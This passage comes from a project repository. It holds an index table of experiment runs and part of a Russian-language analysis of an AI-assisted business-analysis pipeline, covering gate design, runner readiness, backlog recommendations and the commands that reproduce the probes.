[`analysis-bcreq-1025-2026-06-17.md`](2026/RUN-0010/outputs/analysis-bcreq-1025-2026-06-17.md) |\\n| [`RUN-0011`](2026/RUN-0011/metadata.yaml) | 2026-06-18 | `execution` | multichannel-agent-workload | [`outputs/README.md`](2026/RUN-0011/outputs/README.md), [`logs/experiment-log.md`](2026/RUN-0011/logs/experiment-log.md) |\\n| [`RUN-0012`](2026/RUN-0012/metadata.yaml) | 2026-07-14 | `execution` | bcreq-1069-restricted-api-key | [`outputs/final-artifact.md`](2026/RUN-0012/outputs/final-artifact.md), [`outputs/README.md`](2026/RUN-0012/outputs/README.md) |\\n| [`RUN-0013`](2026/RUN-0013/metadata.yaml) | 2026-07-31 | `statistics` | bcreq-1059-multichannel-slots-limits | [`outputs/final-artifact.md`](2026/RUN-0013/outputs/final-artifact.md), [`outputs/README.md`](2026/RUN-0013/outputs/README.md) |\\n| [`RUN-0014`](2026/RUN-0014/metadata.yaml) | 2026-07-24 | `statistics` | task-1075-amocrm-deal-on-call | [`outputs/README.md`](2026/RUN-0014/outputs/README.md), [`outputs/final-artifact.md`](2026/RUN-0014/outputs/final-artifact.md), [`feedback/ba-review.md`](2026/RUN-0014/feedback/ba-review.md) |\\n| [`RUN-0015`](2026/RUN-0015/metadata.yaml) | 2026-08-21 | `statistics` | fr-validation-57204-ivr-scheme-amocrm-rule | [`outputs/README.md`](2026/RUN-0015/outputs/README.md), [`outputs/quality-findings.md`](2026/RUN-0015/outputs/quality-findings.md), [`outputs/final-artifact.md`](2026/RUN-0015/outputs/final-artifact.md), [`logs/metrics.md`](2026/RUN-0015/logs/metrics.md) |\\n| [`RUN-0016`](2026/RUN-0016/metadata.yaml) | 2026-08-21 | `statistics` | fr-drafting-58093-amocrm-deal-card-new-tab | [`outputs/README.md`](2026/RUN-0016/outputs/README.md), [`outputs/quality-findings.md`](2026/RUN-0016/outputs/quality-findings.md), [`logs/metrics.md`](2026/RUN-0016/logs/metrics.md) |\\n| [`RUN-0017`](2026/RUN-0017/metadata.yaml) | 2026-07-24 | `statistics` | task-1076-vks-artifacts-bpmsoft | [`outputs/README.md`](2026/RUN-0017/outputs/README.md), [`outputs/final-artifact.md`](2026/RUN-0017/outputs/final-artifact.md) |\\n| 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\u0434\u0432\u0438\u0436\u043a\u0430, \u043d\u0435 \u043d\u0430\u0437\u0432\u0430\u0432 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f. \u0412 \u043a\u0430\u0436\u0434\u043e\u0439 \u0441\u0440\u0435\u0434\u0435 \u0440\u043e\u043b\u044c \u0437\u0430\u043f\u043e\u043b\u043d\u0438\u043b \u0442\u043e\u0442, \u043a\u0442\u043e\\n415\\t   \u043e\u043a\u0430\u0437\u0430\u043b\u0441\u044f \u0440\u044f\u0434\u043e\u043c: \u0411\u0410 \u0438\u043b\u0438 \u043c\u043e\u0434\u0435\u043b\u044c. \u0413\u0438\u043f\u043e\u0442\u0435\u0437\u044b [\u0413-26](#\u0433-26), [\u0413-36](#\u0433-36),\\n416\\t   [\u0413-40](#\u0433-40).\\n417\\t8. **\u0413\u0435\u0439\u0442 \u0438\u0437\u043c\u0435\u0440\u044f\u0435\u0442 \u043f\u0430\u043a\u0435\u0442, \u0430 \u043d\u0435 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0448\u0430\u0433\u0430.** \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u043a\u0430\u043a\\n418\\t   \u0433\u0435\u0439\u0442 \u0443\u0437\u043b\u0430 \u0438 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a `script_invoked`, \u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0432\u0435\u0441\u044c \u043f\u0430\u043a\u0435\u0442;\\n419\\t   \u043c\u0435\u0442\u0440\u0438\u043a\u0430 \u043f\u0438\u043b\u043e\u0442\u0430 \u0440\u0430\u0441\u0442\u0451\u0442 \u0432\u043d\u0435 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0442 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0430 \u0448\u0430\u0433\u043e\u0432. \u0413\u0438\u043f\u043e\u0442\u0435\u0437\u044b\\n420\\t   [\u0413-29](#\u0433-29), [\u0413-30](#\u0433-30).\\n421\\t9. **\u041e\u0442\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u043d\u0435 \u0438\u043c\u0435\u044e\u0442 \u0442\u0440\u0438\u0433\u0433\u0435\u0440\u043e\u0432 \u043f\u0435\u0440\u0435\u0441\u043c\u043e\u0442\u0440\u0430.** \u041f\u043b\u0430\u043d n8n \u0441\u043d\u044f\u0442\\n422\\t   \u0431\u0435\u0437 \u043e\u0446\u0435\u043d\u043a\u0438, \u0432\u043d\u0435\u0448\u043d\u0438\u0439 \u0434\u0432\u0438\u0436\u043e\u043a \u043e\u0442\u043b\u043e\u0436\u0435\u043d \u0431\u0435\u0437 \u0443\u0441\u043b\u043e\u0432\u0438\u044f \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u0430. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0432\u043e\u043f\u0440\u043e\u0441\\n423\\t   \u00ab\u0430 \u043d\u0435 \u0432\u0437\u044f\u0442\u044c \u043b\u0438 n8n\u00bb \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u0431\u0435\u0437 \u043d\u0430\u043a\u043e\u043f\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043e\u0442\u0432\u0435\u0442\u0430. \u0413\u0438\u043f\u043e\u0442\u0435\u0437\u044b\\n424\\t   [\u0413-50](#\u0433-50), [\u0413-54](#\u0433-54).\\n425\\t\\n426\\t## \u041a\u0430\u043a \u0441\u0442\u0430\u0432\u0438\u0442\u044c \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u0443\u044e \u0437\u0430\u0434\u0430\u0447\u0443: \u0432\u044b\u0431\u043e\u0440 \u0441\u0440\u0435\u0434\u044b \u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\\n427\\t\\n428\\t\u041f\u0440\u043e\u0434\u043e\u043b\u0436\u0435\u043d\u0438\u0435 \u0443\u0447\u0435\u0431\u043d\u043e\u0433\u043e \u0440\u0430\u0437\u0434\u0435\u043b\u0430 \u043f\u0435\u0440\u0432\u043e\u0439 \u0447\u0430\u0441\u0442\u0438 (\u043f\u0440\u0430\u0432\u0438\u043b\u0430 1\u20137).\\n429\\t\\n430\\t8. **\u0414\u043b\u044f \u043a\u0430\u0436\u0434\u043e\u0439 \u0440\u043e\u043b\u0438 \u043d\u0430\u0437\u043e\u0432\u0438\u0442\u0435 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f.** \u041c\u043e\u0434\u0435\u043b\u044c, \u0430\u0432\u0442\u043e\u0440 \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a\u0430,\\n431\\t   \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441, \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430, \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c \u0433\u0435\u0439\u0442\u043e\u0432, \u043a\u0430\u043d\u0430\u043b\\n432\\t   \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u044f. \u0415\u0441\u043b\u0438 \u0432 \u0441\u0442\u0440\u043e\u043a\u0435 \u043f\u0443\u0441\u0442\u043e \u0438\u043b\u0438 \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u043e \u00ab\u0430\u0433\u0435\u043d\u0442 \u043f\u043e \u043f\u0440\u0430\u0432\u0438\u043b\u0430\u043c\u00bb \u2014\\n433\\t   \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0438 \u043d\u0435\u0442 ([\u0413-26](#\u0433-26)).\\n434\\t9. **\u0421\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u0439\u0442\u0435, \u0447\u0442\u043e \u0438\u043c\u0435\u043d\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0433\u0435\u0439\u0442.** \u00abG-mach \u043f\u0440\u043e\u0448\u0451\u043b\u00bb \u043c\u043e\u0436\u0435\u0442\\n435\\t   \u0437\u043d\u0430\u0447\u0438\u0442\u044c \u00ab\u043f\u0430\u043a\u0435\u0442 \u0446\u0435\u043b\u00bb, \u0430 \u043d\u0435 \u00ab\u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0448\u0430\u0433\u0430 \u0432\u0435\u0440\u0435\u043d\u00bb. \u0422\u0440\u0435\u0431\u0443\u0439\u0442\u0435 \u0432 \u0437\u0430\u0434\u0430\u0447\u0435:\\n436\\t   \u00ab\u0433\u0435\u0439\u0442 \u0443\u0437\u043b\u0430 X \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0432\u044b\u0445\u043e\u0434 X \u043f\u043e \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0443 Y\u00bb ([\u0413-29](#\u0433-29)).\\n437\\t10. **\u041e\u0442\u0434\u0435\u043b\u044f\u0439\u0442\u0435 \u044f\u0434\u0440\u043e \u043e\u0442 \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438.** \u042f\u0434\u0440\u043e \u2014 \u0433\u0440\u0430\u0444, \u043f\u0440\u0435\u0434\u0438\u043a\u0430\u0442\u044b, \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b,\\n438\\t    \u0436\u0443\u0440\u043d\u0430\u043b; \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0430 \u2014 \u0447\u0430\u0442, \u0444\u043e\u0440\u043c\u044b, \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u044f, Jira. \u0418\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\\n439\\t    \u043e\u0446\u0435\u043d\u0438\u0432\u0430\u0439\u0442\u0435 \u0432\u043e\u043f\u0440\u043e\u0441\u043e\u043c: \u00ab\u0433\u0434\u0435 \u0431\u0443\u0434\u0435\u0442 \u0436\u0438\u0442\u044c \u0433\u0440\u0430\u0444 \u0438 \u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0443 \u043d\u0435\u0433\u043e \u0431\u0443\u0434\u0435\u0442\\n440\\t    \u043a\u043e\u043f\u0438\u0439?\u00bb \u0415\u0441\u043b\u0438 \u043e\u0442\u0432\u0435\u0442 \u2014 \u00ab\u0435\u0449\u0451 \u043e\u0434\u043d\u0430 \u043a\u043e\u043f\u0438\u044f \u0432 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0435\u00bb, \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\\n441\\t    \u0433\u043e\u0434\u0438\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0443 ([\u0413-47](#\u0433-47)).\\n442\\t11. **\u041b\u044e\u0431\u043e\u0435 \u00ab\u043e\u0442\u043b\u043e\u0436\u0435\u043d\u043e\u00bb \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0439\u0442\u0435 \u0441 \u0443\u0441\u043b\u043e\u0432\u0438\u0435\u043c \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u0430.** \u00ab\u041e\u0442\u043b\u043e\u0436\u0435\u043d\u043e \u0434\u043e\\n443\\t    \u043f\u043e\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u0432\u0442\u043e\u0440\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u00bb \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u043e; \u00ab\u043e\u0442\u043b\u043e\u0436\u0435\u043d\u043e \u043a\u0430\u043a \u0438\u0437\u0431\u044b\u0442\u043e\u0447\u043d\u043e\u0435\u00bb\\n444\\t    \u2014 \u043d\u0435\u0442 ([\u0413-54](#\u0433-54)).\\n445\\t12. **\u0421\u043d\u0430\u0447\u0430\u043b\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044c\u0442\u0435 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0441\u0440\u0435\u0434\u044b, \u043f\u043e\u0442\u043e\u043c \u0432\u044b\u0431\u0438\u0440\u0430\u0439\u0442\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442.**\\n446\\t    \u0415\u0441\u0442\u044c \u043b\u0438 \u0443 \u0441\u0440\u0435\u0434\u044b API \u043c\u043e\u0434\u0435\u043b\u0438, \u043c\u043e\u0436\u043d\u043e \u043b\u0438 \u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0441\u0435\u0440\u0432\u0435\u0440, \u043a\u0430\u043a\u0438\u0435 \u043e\u0431\u0440\u0430\u0437\u044b\\n447\\t    \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u0438\u0437 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u0441\u0435\u0442\u0438. \u0418\u043d\u0430\u0447\u0435 \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u2014\\n448\\t    \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0435 \u0442\u043e\u0433\u043e, \u0447\u0442\u043e \u043d\u0435\u043b\u044c\u0437\u044f \u0440\u0430\u0437\u0432\u0435\u0440\u043d\u0443\u0442\u044c ([\u0413-42](#\u0433-42), [\u0413-43](#\u0433-43)).\\n449\\t\\n450\\t## \u0412\u044b\u0432\u043e\u0434: \u0432\u0435\u043a\u0442\u043e\u0440 \u0440\u0430\u0437\u0432\u0438\u0442\u0438\u044f \u0438 \u0433\u043e\u0442\u043e\u0432\u043d\u043e\u0441\u0442\u044c \u043a \u043e\u0442\u043b\u0430\u0434\u043a\u0435\\n451\\t\\n452\\t**\u0412\u0435\u043a\u0442\u043e\u0440 \u0432\u0435\u0440\u043d\u044b\u0439, \u043d\u043e \u0443 \u043d\u0435\u0433\u043e \u043d\u0435 \u0445\u0432\u0430\u0442\u0430\u043b\u043e \u043e\u0434\u043d\u043e\u0433\u043e \u0437\u0432\u0435\u043d\u0430.** Source \u2192\\n453\\tDistribution \u2192 Runtime \u2192 Feedback \u043f\u043e\\n454\\t[ADR-017](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md)\\n455\\t\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e \u043e\u0442\u0434\u0435\u043b\u044f\u0435\u0442 \u0442\u0435\u043e\u0440\u0438\u044e \u043e\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f. \u041d\u0435\u0434\u043e\u0441\u0442\u0430\u044e\u0449\u0435\u0435 \u0437\u0432\u0435\u043d\u043e \u2014 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\\n456\\t\u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430: \u043a\u043e\u0434, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438. \u0415\u0433\u043e \u043d\u0435 \u043d\u0443\u0436\u043d\u043e\\n457\\t\u043f\u043e\u043a\u0443\u043f\u0430\u0442\u044c; \u0435\u0433\u043e \u043d\u0443\u0436\u043d\u043e \u0434\u043e\u043f\u0438\u0441\u0430\u0442\u044c \u0438\u0437 \u0443\u0436\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0433\u043e runner GigaCode. \u041f\u043e\u044d\u0442\u043e\u043c\u0443\\n458\\t\u0434\u0432\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u2014 \u044d\u0442\u043e \u043e\u0434\u043d\u0430 \u0442\u0440\u0430\u0435\u043a\u0442\u043e\u0440\u0438\u044f: \u0441\u043d\u0430\u0447\u0430\u043b\u0430 runner-\u0432\u0435\u0434\u0443\u0449\u0438\u0439 \u043d\u0430 \u0440\u0430\u0431\u043e\u0447\u0435\u043c\\n459\\t\u043c\u0435\u0441\u0442\u0435, \u0437\u0430\u0442\u0435\u043c \u0442\u043e\u0442 \u0436\u0435 runner \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435.\\n460\\t\\n461\\t**\u0413\u043e\u0442\u043e\u0432\u043d\u043e\u0441\u0442\u044c \u043a \u043e\u0442\u043b\u0430\u0434\u043a\u0435.** \u041f\u0430\u043a\u0435\u0442 Cline \u0433\u043e\u0442\u043e\u0432 \u043a \u043e\u0442\u043b\u0430\u0434\u043a\u0435 \u0441 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u043c\u0438 \u043f\u0435\u0440\u0432\u043e\u0439\\n462\\t\u0447\u0430\u0441\u0442\u0438. Runner GigaCode \u0433\u043e\u0442\u043e\u0432 \u043a \u043e\u0442\u043b\u0430\u0434\u043a\u0435 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u043e\u0432, \u043d\u043e \u043d\u0435 \u043a \u0437\u0430\u043c\u0435\u0440\u0430\u043c \u043f\u0438\u043b\u043e\u0442\u0430:\\n463\\t\u043f\u043e\u043a\u0430 \u043c\u0435\u0442\u0440\u0438\u043a\u0430 \u0441\u0447\u0438\u0442\u0430\u0435\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u043f\u0430\u043a\u0435\u0442\u0430, \u0437\u0430\u043c\u0435\u0440 `deterministic_share` \u043d\u0438\u0447\u0435\u0433\u043e\\n464\\t\u043d\u0435 \u0433\u043e\u0432\u043e\u0440\u0438\u0442 \u043e \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0448\u0430\u0433\u043e\u0432 ([\u0413-30](#\u0433-30)). \u0414\u043e \u043f\u0435\u0440\u0432\u044b\u0445 10 \u0437\u0430\u0434\u0430\u0447 \u043f\u0438\u043b\u043e\u0442\u0430\\n465\\tADR-018 \u043d\u0443\u0436\u043d\u044b \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f 1.1\u20131.3 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 1.\\n466\\t\\n467\\t## \u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u0434\u043b\u044f \u0431\u044d\u043a\u043b\u043e\u0433\u0430\\n468\\t\\n469\\t\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u2014 \u0432\u0445\u043e\u0434 \u0434\u043b\u044f \u0431\u044d\u043a\u043b\u043e\u0433\u0430 \u0438 \u0440\u0435\u0448\u0435\u043d\u0438\u0439 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430, \u0430 \u043d\u0435 \u043f\u0440\u0438\u043d\u044f\u0442\u044b\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u044f.\\n470\\t\\n471\\t| \u041f\u0440\u0438\u043e\u0440\u0438\u0442\u0435\u0442 | \u0427\u0442\u043e \u0441\u0434\u0435\u043b\u0430\u0442\u044c | \u0422\u0438\u043f | \u0413\u0438\u043f\u043e\u0442\u0435\u0437\u044b | \u0417\u0430\u0434\u0430\u0447\u0430 \u0431\u044d\u043a\u043b\u043e\u0433\u0430 |\\n472\\t|-----------|-------------|-----|----------|----------------|\\n473\\t| 1 | Runner \u0432\u044b\u0447\u0438\u0441\u043b\u044f\u0435\u0442 \u043f\u0440\u0435\u0434\u0438\u043a\u0430\u0442\u044b \u0440\u0451\u0431\u0435\u0440 \u0438\u0437 YAML | \u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043a\u043e\u0434 | [\u0413-28](#\u0433-28) | B-211 |\\n474\\t| 1 | \u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0432\u044b\u0445\u043e\u0434\u0430 \u0434\u043b\u044f \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0443\u0437\u043b\u0430; \u043c\u0435\u0442\u0440\u0438\u043a\u0430 \u0441\u0447\u0438\u0442\u0430\u0435\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0435 \u0432\u044b\u0445\u043e\u0434\u044b | \u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043a\u043e\u0434 \u0438 Source | [\u0413-29](#\u0433-29), [\u0413-30](#\u0433-30) | B-212 |\\n475\\t| 1 | \u041e\u0436\u0438\u0434\u0430\u043d\u0438\u0435 \u0438 \u0432\u043e\u0437\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u0430; \u043e\u0448\u0438\u0431\u043a\u0430 \u0432\u0432\u043e\u0434\u0430 \u043d\u0435 \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u0435\u0442 \u0437\u0430\u0434\u0430\u0447\u0443 | \u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043a\u043e\u0434 | [\u0413-31](#\u0433-31), [\u0413-32](#\u0433-32), [\u0413-34](#\u0433-34) | B-213 |\\n476\\t| 1 | \u0420\u0435\u0448\u0438\u0442\u044c \u0440\u0430\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u043f\u043e \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u0438\u0440\u0443\u044e\u0449\u0435\u0439 \u043f\u043e\u043f\u044b\u0442\u043a\u0435 `EP-R7` | \u0420\u0435\u0448\u0435\u043d\u0438\u0435 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430 | [\u0413-33](#\u0433-33) | B-214 |\\n477\\t| 2 | \u041d\u0430\u0437\u043d\u0430\u0447\u0438\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 \u0432 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438; \u043f\u0435\u0440\u0435\u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c `EP-R8` | \u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043c\u043e\u0434\u0435\u043b\u044c | [\u0413-26](#\u0433-26), [\u0413-27](#\u0433-27) | B-215 |\\n478\\t| 2 | \u041e\u0434\u043d\u043e \u044f\u0434\u0440\u043e runner \u0434\u043b\u044f \u043f\u0430\u043a\u0435\u0442\u043e\u0432 GigaCode \u0438 Cline; \u043a\u043e\u043c\u0430\u043d\u0434\u0430 `next` | \u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043a\u043e\u0434 | [\u0413-40](#\u0433-40) | B-216 |\\n479\\t| 2 | \u041f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c GigaCode CLI: \u0432\u0435\u0440\u0441\u0438\u044f, hooks, \u0437\u0430\u043f\u0443\u0441\u043a \u0432\u043d\u0435\u0448\u043d\u0438\u0445 \u043a\u043e\u043c\u0430\u043d\u0434 | \u041f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c | [\u0413-42](#\u0433-42) | B-217 |\\n480\\t| 3 | RFC \u0441\u0440\u0435\u0434\u044b 4: \u0441\u043b\u0443\u0436\u0431\u0430 runner, Postgres, \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0411\u0410, \u043c\u0435\u0441\u0442\u043e n8n; \u0442\u0440\u0438\u0433\u0433\u0435\u0440 \u043f\u0435\u0440\u0435\u0441\u043c\u043e\u0442\u0440\u0430 \u0432\u043d\u0435\u0448\u043d\u0435\u0433\u043e \u0434\u0432\u0438\u0436\u043a\u0430 | \u0412\u044b\u0431\u043e\u0440 | [\u0413-43](#\u0433-43)\u2026[\u0413-54](#\u0433-54) | B-218 |\\n481\\t\\n482\\t\u0417\u0430\u0434\u0430\u0447\u0438 B-211\u2026B-218 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u044b \u0432\\n483\\t[\u0421\u043f\u0440\u0438\u043d\u0442 26 \u0431\u044d\u043a\u043b\u043e\u0433\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/ops/backlog.md)\\n484\\t\u0441\u043e \u0441\u0442\u0430\u0442\u0443\u0441\u043e\u043c `TODO` \u0438 \u043f\u0440\u0438\u043e\u0440\u0438\u0442\u0435\u0442\u043e\u043c `null`: \u043f\u0440\u0438\u043e\u0440\u0438\u0442\u0435\u0442 \u043d\u0430\u0437\u043d\u0430\u0447\u0430\u0435\u0442 \u0447\u0435\u043b\u043e\u0432\u0435\u043a.\\n485\\t\\n486\\t## \u0412\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0434\u0435\u043d\u0438\u0435\\n487\\t\\n488\\t```bash\\n489\\tpip install -r projects/ba-ai-process/dist/execution-package-gigacode-cli/requirements.txt\\n490\\tpython3 projects/ba-ai-process/experiments/issue_639_runner_probes.py\\n491\\t```\\n492\\t\\n493\\t\u0421\u043a\u0440\u0438\u043f\u0442 \u043a\u043e\u043f\u0438\u0440\u0443\u0435\u0442 \u043f\u0430\u043a\u0435\u0442 GigaCode \u0432\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u0443\u044e \u043f\u0430\u043f\u043a\u0443 \u0438 \u043d\u0435 \u043c\u0435\u043d\u044f\u0435\u0442\\n494\\t\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439. `P10` \u2014 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u0442\u0435\u043a\u0441\u0442 \u043a\u0430\u043a \u0432\u044b\u0445\u043e\u0434 n1, n2 \u0438 n3 \u043f\u043e\u0441\u043b\u0435\\n495\\t\u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u043e\u0433\u043e n0; `P11` \u2014 \u043f\u0440\u0435\u0434\u0438\u043a\u0430\u0442\u044b YAML \u043f\u0440\u043e\u0442\u0438\u0432 \u0432\u0435\u0442\u043e\u043a \u0432 Python; `P12` \u2014\\n496\\t\u043e\u0434\u043d\u0430 \u043e\u043f\u0435\u0447\u0430\u0442\u043a\u0430 \u0432 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0435 \u0438 \u043f\u043e\u0432\u0442\u043e\u0440 \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u043e\u0439. \u0412\u043d\u0435\u0448\u043d\u0438\u0435 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438\\n497\\t\u043f\u0440\u043e\u0447\u0438\u0442\u0430\u043d\u044b 2026-09-29; \u0432\u0435\u0440\u0441\u0438\u0438: n8n 2.40.7, Cline 4.1.21, Open WebUI 0.11.4.\\n498\\t\\n499\\t## Related Artifacts\\n500\\t\\n501\\t- [Issue #639](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/639) \u0438 [\u0437\u0430\u043c\u0435\u0447\u0430\u043d\u0438\u0435 \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430 \u0432 PR #643](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/643#issuecomment-5884160620) \u2014 \u0437\u0430\u0434\u0430\u0447\u0430 \u0438 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 \u043e\u0445\u0432\u0430\u0442\u0430.\\n502\\t- [\u041f\u0435\u0440\u0432\u0430\u044f \u0447\u0430\u0441\u0442\u044c: \u043f\u0430\u043a\u0435\u0442 Cline VS Code](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md) \u2014 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u044b \u0413-01\u2026\u0413-25.\\n503\\t- [\u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c: \u0440\u0430\u043c\u043a\u0430 \u0440\u0435\u0448\u0435\u043d\u0438\u0439 \u0438 `EP-R1`\u2026`EP-R9`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md).\\n504\\t- [ADR-017](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md), 